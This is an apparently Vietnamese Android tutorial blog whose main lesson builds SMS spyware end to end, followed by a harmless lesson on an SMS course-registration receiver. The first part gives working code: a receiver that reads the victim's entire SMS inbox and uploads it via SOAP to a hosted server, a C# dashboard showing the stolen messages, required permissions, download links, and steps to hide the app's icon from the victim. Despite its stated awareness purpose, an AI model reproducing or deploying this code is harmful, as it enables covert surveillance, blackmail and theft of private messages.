Bài 57: Xây dựng phần mềm nghe trộm Tin Nhắn trong Android

[polldaddy poll=9764234]

Hiện nay có rất nhiều phần mềm cài cắm sẵn những đoạn mã có thể nghe lén được thông tin của người sử dụng. Nhưng thường người sử dụng lại ít khi quan tâm, nó thực sự nguy hiểm.

Tui dám chắc nếu như các bạn tải phần mềm từ store hay từ đâu đó về cài vào máy thì bạn chả thèm đọc những thông số cấu hình cũng như yêu chức năng nào đó… bạn cứ thế phang từ đầu chí cuối : Next, next, … and finish…. và kết thúc luôn cuộc sống riêng tư của bạn….

Trong bài viết này Tui muốn demo một phần mềm chạy ngầm nho nhỏ về việc Nghe Trộm Tin Nhắn trong Android, để mọi người cẩn thận khi tải các phần mềm miễn phí có tương tác SMS, internet…. tránh được những rắc rối về sau. Các bạn không được áp dụng nó để cài cắm hay theo dõi ai, vì mục đích của Tui là muốn demo việc cài cắm phần mềm nghe lén nó dễ dàng như thế nào và mọi tin nhắn ta bị người khác đọc hết ra sao… để ta cẩn trọng hơn chứ không phải áp dụng vào việc nghe lén người khác. Nếu bạn nào có ý định viết coding nghe lén ai đó thì xin đừng vào blog này để học.

Tui sẽ đưa ra mô hình cũng như cách thức hoạt động của phần mềm Spyware SMS này như sau:

android_57_2

Mô hình trên Tui đánh thứ tự từ 1->4:

Số 1: Là bất kỳ một điện thoại nào đó muốn gửi tin nhắn cho số 2.

Số 2: Là nạn nhân đang bị cài phần mềm gián điệp nghe lén SMS. Phần mềm này có thể sử dụng nhiều chiêu thức, ở đây Tui ví dụ sử dụng BroadCast Receiver để tự động bắt gói tin SMS và sau đó gửi lên SERVER SPYWARE thông qua Web service.

 Số 3: Là Server SPYWARE do ai đó có ý đồ xây dựng để nhận thông tin gửi về từ phần mềm gián điệp sau đó nó sẽ lưu vào cơ sở dữ liệu (số 4) để phục vụ cho các ý đồ không tốt khác.

Số 4: Là Cơ sở dữ liệu được họ xây dựng để lưu lại toàn bộ thông tin trao đổi giữa nạn nhận với các đối tác, họ lưu vào CSDL để phục vụ cho các ý đồ theo sau đó như: Bán thông tin cho Công ty đối thủ, quấy rối, Tống tiền cũng như các mục đích xấu khác ….

Nếu như bạn chỉ là một người dân bình thường, mọi tin nhắn là vô thưởng vô phạt… ví dụ như “Em ăn cơm chưa”, “Em ngủ chưa”, “Em còn sống hay nhăn răng rồi…”, “Em làm gì kệ xác em chứ…” thì chả có ý nghĩa gì với phần mềm gián điệp. Nhưng Tui giả sử bạn là một người của CÔNG CHÚNG (một ca sĩ nổi tiếng, một MC truyền hình nổi tiếng, 1 chính trị gia xuất chúng)., hay một Tổng giám đốc một công ty lớn… Mọi trao đổi thông tin của bạn với đối tác, với người hâm mộ… Nếu như bị người xấu biết được thì làm sao nhỉ? chết chắc chứ con gì…. Giả sử bạn là 1 Giám Đốc, bạn có tin nhắn của Đối Tác cần ký một hợp đồng quan trọng… tự nhiên bị Đối Thủ biết được thì sẽ như thế nào? Phá sản ư? có thể đấy chứ….. Hay là “các” bà Vợ của bạn thường hay nghi ngờ bạn lăng nhăng, họ ngấm ngầm cài phần mềm gián điệp để theo dõi bạn, nếu biết bạn đang có âm mưu lừa ai đó …. Tui nghĩ để Vợ biết được chắc bạn phải học Tịnh Tà Kiếm Phổ suốt đời.

———————————————————————

Sau đây là các bước tiến hành:

– Chú ý CSDL và Web project bạn cấu hình trên somee.com để test (hoặc nếu bạn có Host riêng thì tự làm trên Host của bạn). Cách sử dụng somee.com bạn xem lại các bài hướng dẫn trước (phần Webservice).

1) Xây dựng CSDL với tên dbSpywareSMSApp:

android_57_6Ở đây Tui tạo 2 bảng đơn giản:

– Bảng Account nhằm mục đích đăng nhập hệ thống để quản lý các tin nhắn SMS Spyware gửi về: Gồm có user name và mật khẩu (dĩ nhiên Tui chưa có băm mật khẩu, bạn tự viết coding băm)

– Bảng SMSSpyware, nó có 3 cột. Tui để phonenumber và timestamp (thời gian nhận tin) làm khóa chính. body là nội dung tin nhắn.

2) Xây dựng Web project (SpywareSMSServerApp):

android_57_7– dbSpywareSMSApp.dbml: Bạn kéo LINQ để sử dụng (xem lại các bài hướng dẫn trước):

android_57_8Mở cửa sổ Server Explorer trong Visual Studio/ chọn biểu tượng Connect/ kết nối CSDL mong muốn/ rồi kéo thả vào như hình trên.

SmsExtraInfo: Lớp đặc tả lại cho tin nhắn SMS vì do timestamp được nhận là kiểu long, ở đây ta sửa lại cho nó ra ngày tháng năm theo định dạng nào đó (chuỗi)

WebService1.asmx: Web service cung cấp 2 dịch vụ:

+ public bool LuuSmsChomDuoc(string phoneNumber, string timeStamp, string body)

–> dịch vụ này dùng để cho phần mềm gián điệp đọc thông tin SMS và gửi lên SERVER SPYWARE–> đẩy xuống CSDL

+  public SmsExtraInfo[] DocToanBoTinNhanChomDuoc()

–> Dịch vụ này truy vấn toàn bộ SMS đọc tự CSDL do dịch vụ saveSMSSpyWare lưu xuống.

+ Default.aspx: Website hiển thị toàn bộ SMS đọc lén được thông qua dịch vụ DocToanBoTinNhanChomDuoc. chú ý nếu chưa đăng nhập sẽ tự động quay lại trang login.aspx.

+ login.aspx: Trang yêu cầu đăng nhập hệ thống, đăng nhập thành công mới cho vào trang Default.aspx

Chi tiết:

source code SmsExtraInfo:

[code language=”csharp”]

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;

namespace SpywareSMSServerApp
{
[Serializable]
public class SmsExtraInfo
{
public string PhoneNumber { get; set; }
public string TimeStamp { get; set; }
public string Body { get; set; }
}
}

[/code]

Source code WebService1:

[code language=”csharp”]

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Services;

namespace SpywareSMSServerApp
{
    /// <summary>
    /// Summary description for WebService1
    /// </summary>
    [WebService(Namespace = "http://tranduythanh.com/")]
    [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
    [System.ComponentModel.ToolboxItem(false)]
    // To allow this Web Service to be called from script, using ASP.NET AJAX, uncomment the following line.
    // [System.Web.Script.Services.ScriptService]
    public class WebService1 : System.Web.Services.WebService
    {

        [WebMethod]
        public string HelloWorld()
        {
            return "Hello World";
        }
        [WebMethod]
        public bool LuuSmsChomDuoc
            (string phoneNumber, string timeStamp, string body)
        {
            dbSpywareSMSAppDataContext db = new dbSpywareSMSAppDataContext();
            SMSSpyware smsChom = db.SMSSpywares.
                FirstOrDefault(x => x.phonenumber == phoneNumber
                    && x.timestamp == timeStamp);
            //nếu tin này =null thì ta mới lưu
            //bằng null tức là chưa tồn tại trong SERVER SPYWARE
            if (smsChom == null)
            {
                try
                {
                    smsChom = new SMSSpyware();
                    smsChom.phonenumber = phoneNumber;
                    smsChom.timestamp = timeStamp;
                    smsChom.body = body;
                    db.SMSSpywares.InsertOnSubmit(smsChom);
                    db.SubmitChanges();
                    return true;
                }
                catch
                {

                }
            }
            return false;
        }
        //hàm chuyển timestamp trong java qua .net
        public static DateTime JavaTimeStampToDateTime(double javaTimeStamp)
        {
            // Java timestamp is millisecods past epoch
            System.DateTime dtDateTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, System.DateTimeKind.Utc);
            dtDateTime = dtDateTime.AddSeconds(Math.Round(javaTimeStamp / 1000)).ToLocalTime();
            return dtDateTime;
        }
        [WebMethod]
        public SmsExtraInfo[] DocToanBoTinNhanChomDuoc()

        {

            dbSpywareSMSAppDataContext db = new dbSpywareSMSAppDataContext();
            List<SMSSpyware> dsSMS = db.SMSSpywares.ToList();
            List<SmsExtraInfo> dsDisplay = new List<SmsExtraInfo>();
            foreach (SMSSpyware sms in dsSMS)
            {
                SmsExtraInfo infor = new SmsExtraInfo();
                infor.Body = sms.body;
                long l=long.Parse(sms.timestamp);
                DateTime d = JavaTimeStampToDateTime(l);
                infor.TimeStamp = d.ToLongDateString();
                infor.PhoneNumber = sms.phonenumber;
                dsDisplay.Add(infor);

            }
            return dsDisplay.ToArray();
        }
        [WebMethod]
        public Account DangNhap(string userName, string passWord)
        {
            dbSpywareSMSAppDataContext db = new dbSpywareSMSAppDataContext();
            Account ac = db.Accounts.FirstOrDefault
                (x => x.username == userName && x.password == passWord);
            return ac;
        }
    }
}

[/code]

Bạn chú ý ở trên có đoạn coding chuyển TimeStamp từ Android qua DateTime trong asp.net.

Bạn có thể nối thêm ToLongTimeString để nó có đầy đủ giờ phút giây…

infor.TimeStamp = d.ToLongDateString()+”;”+d.ToLongTimeString();

Source Design Default.aspx:

[code language=”html”]
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="SpywareSMSServerApp.Default" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
    <meta http-equiv="refresh" content="10"/>
</head>
<body>
    <form id="form1" runat="server">
<div>

        Danh sách tin nhắn chôm được:
<asp:GridView ID="GridView1" runat="server">
        </asp:GridView></div>
</form>
</body>
</html>

[/code]

<meta http-equiv="refresh" content="10"/> 
cho phép tự động 10 giây tải lại website 1 lần.

Source coding behind Default.aspx.cs:

[code language=”csharp”]

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace SpywareSMSServerApp
{
public partial class Default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (Session["AC"] == null)
{

//Chưa đăng nhập thì quay lại login
Response.Redirect("login.aspx");
}
else
{
WebService1 ws=new WebService1();
GridView1.DataSource = ws.DocToanBoTinNhanChomDuoc();
GridView1.DataBind();
}
}
}
}

[/code]

Source design cho màn hình đăng nhập login.aspx:

[code language=”html”]

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Login.aspx.cs" Inherits="SpywareSMSServerApp.Login" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
<style type="text/css">
.auto-style1 {
width: 100%;
}
</style>
</head>
<body>
<form id="form1" runat="server">
<table >
<tr>
<td>Tên đăng nhập:</td>
<td>
<asp:TextBox ID="txtUserName" runat="server"></asp:TextBox></td>
</tr>
<tr>
<td>Mật Khẩu:</td>
<td>
<asp:TextBox ID="txtPassword" runat="server" TextMode="Password"></asp:TextBox></td>
</tr>
<tr>
<td>&nbsp;</td>
<td>
<asp:Button ID="btnDangNhap" runat="server" OnClick="btnDangNhap_Click" Text="Đăng nhập" /></td>
</tr>
</table>
<asp:Label ID="lblThongBao" runat="server" ForeColor="Red"></asp:Label>
</form>
</body>
</html>

[/code]

Hình minh họa:

android_57_9Source coding behind xử lý đăng nhập:

[code language=”csharp”]

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace SpywareSMSServerApp
{
public partial class Login : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{

}

protected void btnDangNhap_Click(object sender, EventArgs e)
{
WebService1 ws = new WebService1();
Account ac = ws.DangNhap(txtUserName.Text, txtPassword.Text);
if (ac == null)
{
lblThongBao.Text = "Đăng nhập thất bại";
}
else
{
//cần lưu ac đăng nhập vào Session:
Session.Add("AC", ac);
Response.Redirect("Default.aspx");
}
}
}
}

[/code]

Như vậy bạn đã xây dựng xong SERVER SPYWARE và CSDL.

Bạn cấu hình và đưa lên Somee.com thì bạn được kết quả như sau (nếu đăng nhập thành công):

android_57_10Nếu bạn nối thêm ToLongTimeString thì có kết quả như sau (Đầy đủ giờ phút giây…):

android_57_11Các bước đưa lên Somee.com bạn phải tự xem lại các bài hướng dẫn trước rất chi tiết.

Source code bạn tải ở đây:

Source SQL Server: http://www.mediafire.com/download/1deekpd7r59sv6w/dbSpywareSMSApp.sql

Tui để sẵn dòng insert account, bạn sửa lại rồi chạy script trên Somee.com để tạo CSDL

Source Web Project: http://www.mediafire.com/download/aj3e64fqjq60cf5/SpywareSMSServerApp.rar

Bạn nhớ sửa lại web.config cho đúng cấu hình với chuỗi kết nối của bạn.

Cấu hình thành công bạn sẽ được mô tả webservice như của Tui như link sau:

http://duythanhit.somee.com/webservice1.asmx?WSDL

*** Tiếp theo xây dựng phần mềm Gián điệp client, tên là SpywareSMSApp với cấu trúc như sau:

android_57_5Giải thích:

SmsInfo : Lớp tạo một tin nhắn SMS để phục vụ cho SpywareTask SpywareSmsReceiver

SpywareSmsReceiver: Lớp tự động lắng nghe tin nhắn gửi tới và đọc thông tin tin nhắn, đóng gói thành lớp SmsInfo rồi gửi gói này cho SpywareTask.

SpywareTask : Là lớp chạy đa tiến trình, nhiệm vụ là nhận gói tin SmsInfo do SpywareSmsReceiver gửi qua, nhận được gói tin xong nó sẽ gửi lên SERVER SPYWARE thông qua Web Service.

Chú ý là phần mềm sau khi được cài đặt vào máy nạn nhân nó sẽ tự động lắng nghe tin SMS gửi tới, cho dùng nạn nhân không kích hoạt phần mềm.

source code của SmsInfo:

[code language=”java”]

package tranduythanh.com.spywaresmsapp;

public class SmsInfo {
private String phoneNumber;
private String timeStamp;
private String body;
public String getPhoneNumber() {
return phoneNumber;
}
public void setPhoneNumber(String phoneNumber) {
this.phoneNumber = phoneNumber;
}
public String getTimeStamp() {
return timeStamp;
}
public void setTimeStamp(String timeStamp) {
this.timeStamp = timeStamp;
}
public String getBody() {
return body;
}
public void setBody(String body) {
this.body = body;
}

}

[/code]

Tiếp theo là coding lớp SpywareSmsReceiver  (lớp tự lắng nghe tin nhắn gửi tới và gửi gói tin qua SypeWare task):

[code language=”java”]

package tranduythanh.com.spywaresmsapp;

import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.SystemClock;
import android.widget.Toast;

public class SpywareSmsReceiver extends BroadcastReceiver {
/**
* Hàm kiểm tra xem thiết bị của máy nạn nhân có đang
* kết nối internet hay ko?
* @param context
* @return
*/
public boolean isConnect(Context context)
{
ConnectivityManager cm =
(ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo netInfo = cm.getActiveNetworkInfo();
boolean b= netInfo != null && netInfo.isConnectedOrConnecting();
return b;
}
public void onReceive(Context context, Intent intent) {
if(isConnect(context))
{
try
{
processReadAllSMSInInbox(context);
}
catch(Exception ex)
{
Toast.makeText(context,ex.toString(), Toast.LENGTH_LONG).show();
}
}
else
{
Toast.makeText(context, "No internet", Toast.LENGTH_LONG).show();
}
}
/**
* xử lý đọc toàn bộ tin nhắn trong inbox
* mục đích là giết lầm hơn bỏ sót…
* vì có thể trước thời điểm cài phần mềm Spyware
* đã có nhiều tin nhắn, nên ta đọc hết
* @param context
*/
public void processReadAllSMSInInbox(Context context)
{
ContentResolver contentResolver =
context.getContentResolver();
Cursor cursor = contentResolver.query(
Uri.parse("content://sms/inbox"),
null, null, null, null
);

int indexPhoneNumber = cursor.getColumnIndex("address");
int indexTimeStamp = cursor.getColumnIndex("date");
int indexBody = cursor.getColumnIndex("body");
if ( indexBody < 0 || !cursor.moveToFirst() )
return;
do{
String phonenumber=cursor.getString( indexPhoneNumber );
String timeStamp=cursor.getString(indexTimeStamp);
String body= cursor.getString( indexBody );
SmsInfo smsInfor=new  SmsInfo();
smsInfor.setBody(body);
smsInfor.setPhoneNumber(phonenumber);
smsInfor.setTimeStamp(timeStamp);
//mỗi lần đọc được 1 tin nhắn thì đưa vào tiểu trình
//để đẩy lên server spyware
SpywareTask task=new SpywareTask();
task.execute(smsInfor);
SystemClock.sleep(100);
}
while( cursor.moveToNext() );
}
}

[/code]

– Source code của lớp SpywareTask (tiểu trình để đẩy gói tin lên server spyware):

[code language=”java”]

package tranduythanh.com.spywaresmsapp;

import org.ksoap2.SoapEnvelope;
import org.ksoap2.serialization.SoapObject;
import org.ksoap2.serialization.SoapSerializationEnvelope;
import org.ksoap2.transport.HttpTransportSE;

import android.os.AsyncTask;

public class SpywareTask extends AsyncTask<SmsInfo, Void, Void>{
final String URL="http://duythanhit.somee.com/webservice1.asmx?WSDL";
final String NAMESPACE="http://tranduythanh.com/";
final String METHOD_NAME="LuuSmsChomDuoc";
final String SOAP_ACTION=NAMESPACE+METHOD_NAME;
@Override
protected Void doInBackground(SmsInfo… params) {
try{
SmsInfo sms=params[0];
SoapObject request=new SoapObject(NAMESPACE, METHOD_NAME);
request.addProperty("phoneNumber", sms.getPhoneNumber());
request.addProperty("timeStamp", sms.getTimeStamp());
request.addProperty("body", sms.getBody());
SoapSerializationEnvelope envelope=
new SoapSerializationEnvelope(SoapEnvelope.VER11);
envelope.dotNet=true;
envelope.setOutputSoapObject(request);
HttpTransportSE androidHttpTransport=
new HttpTransportSE(URL);
androidHttpTransport.call(SOAP_ACTION, envelope);
envelope.getResponse();
}
catch(Exception e)    {}
return null;
}
}

[/code]

– Ta không cần viết coding gì hết trong MainActivity

– Tiếp theo để cho ứng dụng có khả năng chạy ngầm và tự động lắng nghe SMS thì ta cấu hình AndroidManifest như sau:

[code language=”xml”]

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="tranduythanh.com.spywaresmsapp"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="19" />

<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.INTERNET"/>

<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<receiver android:name="tranduythanh.com.spywaresmsapp.SpywareSmsReceiver" >
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
</application>

</manifest>

[/code]

– Giải thích:

+<uses-permission android:name=”android.permission.ACCESS_NETWORK_STATE” /> quyền cho phép kiểm tra trạng thái kết nối mạng của thiết bị. Còn các quyền khác bạn đã biết.

+ Từ dòng 32->36:

<receiver android:name=”tranduythanh.com.spywaresmsapp.SpywareSmsReceiver” >
<intent-filter>
<action android:name=”android.provider.Telephony.SMS_RECEIVED” />
</intent-filter>

Cho phép đăng ký SpywareSmsReceiver như là 1 dịch vụ chạy ngầm và nó tự lắng nghe theo android.provider.Telephony.SMS_RECEIVED (tin nhắn tới) được khái báo trong tag intent-filter .

– Như vậy bạn đã hoàn thành xây dựng ứng dụng Gián Điệp, chỉ cần máy nạn nhân cài đặt phần mềm này, khi có kết nối internet nếu có bất kỳ tin nhắn nào gửi tới máy nạn nhân thì bạn đều đọc được hết thông tin trong inbox. Bạn thấy đấy, các phần mềm trên mạng có thể dễ dàng cài phần mềm gián điệp mà bạn không hề để ý… mọi tin của bạn đều có thể bị đọc trộm…nó rất nguy hiểm. Bạn cần biết sự nguy hiểm này thông qua các cách hướng dẫn lập trình ở trên để biết tránh rủi ro chứ không phải dùng với mục đích xấu.

-Bạn có thể tải source client Sms Spyware đầy đủ ở đây:

http://www.mediafire.com/download/qi95v0w63makg5g/SpywareSMSApp.rar

Thường khi chúng ta bị cài phần mềm gián điệp thì không thấy xuất hiện Icon khi cài đặt vào máy, chỉ trong Application Manager mới thấy, do cấu hình đơn giản trong Android Manifest như sau:

<activity
            android:name=”.MainActivity”
            android:label=”@string/app_name” >
            <intent-filter>
                <action android:name=”android.intent.action.MAIN” />

                <category android:name=”android.intent.category.LAUNCHER” />
            </intent-filter>
</activity>

Xóa hết Intent -Filter đi chỉ còn lại:

<activity
            android:name=”.MainActivity”
            android:label=”@string/app_name” >
</activity>

Do đó khi bị cài ngầm vào, nạn nhân thường không biết vì không thấy biểu tưởng phần mềm nào lạ cả. Nhưng nó đã đang chạy ngầm rồi.

– Chúc bạn thành công! và nhớ đừng làm việc gì xấu xa.

Bài 47: Xử lý tin nhắn SMS bằng BroadCastReceiver

[polldaddy poll=9764234]

Để hỗ trợ cho dự án nêu trong bài tập số 43(Đăng Ký Học Phần Bằng SMS cho các Trường Đại Học) Tui đã cung cấp hàng loạt các bài 40, 41, 44, 45, 46, 47 các bạn cần đọc kỹ lại những bài tập này trước khi bắt tay vào làm bài tập 43.

Ở bài tập 47 này, Tui muốn hướng dẫn các bạn cách sử dụng BroadCastReceiver được đăng ký chạy background trong Android Manifest, để nó có thể tự động “bắt” được tin nhắn SMS bất kỳ nào nhắn tới cho dù chúng ta không mở ứng dụng.

Tui muốn ghi chú các bạn là:

1) Để nhận biết được đâu là Tin Nhắn đăng ký học phần thì bắt buộc các bạn phải có một CÚ PHÁP gửi tin nhắn riêng, giống như hàng ngày trên TIVI đều có hướng dẫn cú pháp đăng ký hay bỏ phiếu cho ai đó. Tương tự như vậy để nhận biết được tin nhắn đăng ký học phần thì hệ thống Website trường đại học cũng phải cung cấp CÚ PHÁP đăng ký 1 học phần như thế nào đúng không?

3) Khi 1 tin nhắn gửi tới mà ta phân tích được nó chính là tin nhắn CÚ PHÁP đăng ký học phần thì mới tiến hành xử lý đăng ký, việc xử lý đăng ký là vô cùng phức tạp vì đòi hỏi bạn phải hiểu biết cặn kẽ về quy trình xử lý học vụ, đối với trường hợp ở bài tập 43 thì bạn có thể làm ví dụ sơ sơ cũng được, nhưng theo TUI muốn làm thực tế và bán được lại cho các trường đại học muốn áp dụng công nghệ thì bạn phải đến trực tiếp trường học, liên hệ (tốt nhất là có mối quan hệ sâu sắc) để hiểu được quy trình xử lý học vụ, như vậy may ra dự án của bạn mới áp dựng thực tế còn không chỉ là làm sương sương chơi cho vui.

4) Với bài tập 47 này thì Tui chỉ làm 1 phần nhỏ: Nhận 1 tin nhắn theo cú pháp, trả lời tin nhắn có sự kiểm tra là tin nhắn đã được gửi thành công hay thất bại (dùng PendingIntent).

Công việc còn lại của bạn là sau khi nhận được tin nhắn theo cú pháp rồi, tiến hành phân tích  đưa thông tin lên  Server thông qua Webservice, kiểm tra kết quả trả về của Webservice, rồi trả lời SMS ngược lại cho người đăng ký–>có thể tự làm bài 43.

Tui có thể phác thảo mô hình phù hợp để các bạn test hệ thống này dễ dàng như sau:

3h47_0

– Dựa vào mô hình trên thì bạn có thể kiểm tra hệ thống như sau:

+ Bạn có thể biến máy tính cá nhân của bạn làm máy SERVER, CSDL + webservice được cài đặt tại máy Server này.

+ Bạn sử dụng 2 điện thoại: 1 điện thoại cài đặt phần mềm xử lý tin nhắn (gọi là Điện thoại chủ), 1 điện thoại bạn mượn đại của đứa bạn thân nhắn tin theo cú pháp vào điện thoại chủ đó. Điện thoại chủ có nhiệm vụ bắt tin nhắn và xử lý rồi gửi lên PC Server (hoặc dùng máy ảo nếu như bạn không có máy thật để test, nhưng cố gắng dùng máy thật).

– Trước khi vào ứng dụng thì tui nói CÚ PHÁP tin nhắn Tui dùng trong bài tập này để đăng ký học phần như sau:

Cú pháp:  DRTHANH MSSV MMH HK

Giải thích cú pháp:

DRTHANH là keyword đầu tiên của tin nhắn

MSSV là mã số sinh viên

MMH là mã môn học

HK là học kỳ

VÍ DỤ, nếu sinh viên gửi tin nhắn “DRTHANH 113114115 ANDROID 9”
Thì mã sinh viên =113114115
Mã môn học: ANDROID
Học kỳ 9

– Khi tin nhắn gửi tới thì ta phải phân tích nội dung tin nhắn để tiến hành xử lý cho phù hợp.

– Bạn tạo Project đơn giản như hình Tui chụp dưới đây:

3h47_1

– Bạn chú ý là thư viện KSOAP để tương tác với Webservice là bạn tự làm, Tui chủ ý không làm phần này để bạn tự tổng hợp kiến thức đưa vào đây như vậy thì mới nâng cao được kỹ năng lập trình cũng như tư duy logic cho bạn.

– Tui chỉ tiến hành làm phần BroadCastReceiver, dĩ nhiên trong này Tui có để sẵn 1 hàm Trống để bạn điền coding cập nhật vào cho dễ dàng hơn.

– Chương trình này không liên quan gì tới giao diện, vì Tui đăng ký BroadCastReceiver trong Manifest để hệ thống tự động nhận, xử lý và gửi tin nhắn (cho dù không mở ứng dụng), Nên giao diện bạn thích làm kiểu gì cũng được (tốt nhất là đừng quan tâm).

– Tui nói phần Manifest, bạn cấu hình như dưới đây:

[code language=”xml”]

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="tranduythanh.com"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="9"
android:targetSdkVersion="18" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />

<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="tranduythanh.com.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<receiver android:name="MyBroadCast" >
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
</application>

</manifest>

[/code]

– Dòng lệnh 9 ->12 là đăng ký permission cho việc Nhận tin nhắn, gửi tin nhắn, ghi tin nhắn, đọc tin nhắn.

– Dòng lệnh 29- 33 là đăng ký BroadCastReceiver trong Manifest, giúp chương trình hoạt động như service chạy nền.

– Xử lý coding MyBroadCast:

[code language=”java”]

package tranduythanh.com;
import android.app.Activity;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.widget.Toast;

public class MyBroadCast extends BroadcastReceiver {

// All available column names in SMS table
// [_id, thread_id, address,
// person, date, protocol, read,
// status, type, reply_path_present,
// subject, body, service_center,
// locked, error_code, seen]
public static final String SMS_EXTRA_NAME = "pdus";
public static final String SMS_URI = "content://sms";

public static final String ADDRESS = "address";
public static final String PERSON = "person";
public static final String DATE = "date";
public static final String READ = "read";
public static final String STATUS = "status";
public static final String TYPE = "type";
public static final String BODY = "body";
public static final String SEEN = "seen";

public static final int MESSAGE_TYPE_INBOX = 1;
public static final int MESSAGE_TYPE_SENT = 2;

public static final int MESSAGE_IS_NOT_READ = 0;
public static final int MESSAGE_IS_READ = 1;

public static final int MESSAGE_IS_NOT_SEEN = 0;
public static final int MESSAGE_IS_SEEN = 1;
private Context context=null;
@Override
public void onReceive(Context context, Intent intent) {
this.context=context;
processSMS(intent);
}
public void processSMS(Intent intent)
{
// Get the SMS map from Intent
Bundle extras = intent.getExtras();

String messages = "";

if ( extras != null )
{
// Get received SMS array
Object[] smsExtra = (Object[]) extras.get( SMS_EXTRA_NAME );
for ( int i = 0; i < smsExtra.length; ++i )
{
SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);
String body = sms.getMessageBody().toString();
String address = sms.getOriginatingAddress();

messages += "SMS from " + address + " :\n";
messages += body + "\n";
//gọi hàm xử lý nội dung và gửi kết quả trả về
doSending(address,body);
}
// Display SMS message từ các điện thoại khác gửi tới
Toast.makeText( context, messages, Toast.LENGTH_SHORT ).show();
}
}
public void doSending(String phoneNumber,String body)
{
try
{
//đặng ký Pending Intent để kiểm soát kết quả gửi tin nhắn trả về thành công hay không?
final SmsManager sms = SmsManager.getDefault();
Intent msgSent = new Intent("ACTION_MSG_SENT");
final PendingIntent pendingMsgSent =
PendingIntent.getBroadcast(context, 0, msgSent, 0);
context.getApplicationContext().registerReceiver(new BroadcastReceiver() {
public void onReceive(Context context, Intent intent) {
int result = getResultCode();
String msg="Gửi tin nhắn trả lời thành công";
if (result != Activity.RESULT_OK) {
msg="Gửi tin nhắn trả lời thất bại";
}
Toast.makeText(context, msg,
Toast.LENGTH_LONG).show();
}
}, new IntentFilter("ACTION_MSG_SENT"));
//nếu đúng là cú pháp đăng ký học phần.
if(isSyntaxForRegisterCourse(body))
{
processRegisterCourse(body);
sms.sendTextMessage(phoneNumber, null, "Hệ thống đã nhận được tin đăng ký học phần của bạn! chờ giây lát!",
pendingMsgSent, null);
}
else
{
//chỉ là tin nhắn thường
//tự động trả lời — coi chừng tốn tiền khi dùng máy thật nhá
sms.sendTextMessage(phoneNumber, null, "DrThanh tự động trả lời bạn! Củm ơn!",
pendingMsgSent, null);
}

}
catch(Exception ex)
{
Toast.makeText(context, ex.getMessage(),Toast.LENGTH_LONG).show();
}
}
//Giả sử cú pháp bạn quy định là:
//DRTHANH MSSV MMH HK
//DRTHANH là keyword đầu tiên của tin nhắn
//MSSV là mã số sinh viên
//MMH là mã môn học
//HK là học kỳ

//VÍ DỤ body= DRTHANH 113114115 ANDROID 9
//Thì mã sinh viên =113114115
//mã môn học: ANDROID
//học kỳ 9
public boolean isSyntaxForRegisterCourse(String body)
{
String arr[]=body.split(" ");
if(arr.length!=4)
return false;
if(!arr[0].equalsIgnoreCase("DRTHANH"))
return false;
return true;
}
/**
* Các bạn xử lý đăng ký học phần tại đây
* Phân tích và gửi dữ liệu lên Server thông qua Webservice
* Vậy trên Server bạn viết 1 Webservice xử lý đăng ký học phần là OKÊ
* @param body
*/
public void processRegisterCourse(String body)
{
//tự viết lệnh chỗ này
//xem lại các bài tập mà Tui hướng dẫn trước đó để làm
//chúc bạn may mắn.
}
}

[/code]

– Bạn kiểm tra dòng lệnh 13, ta tạo 1 lớp tên là MyBroadCast kế thừa từ BroadCastReceiver.

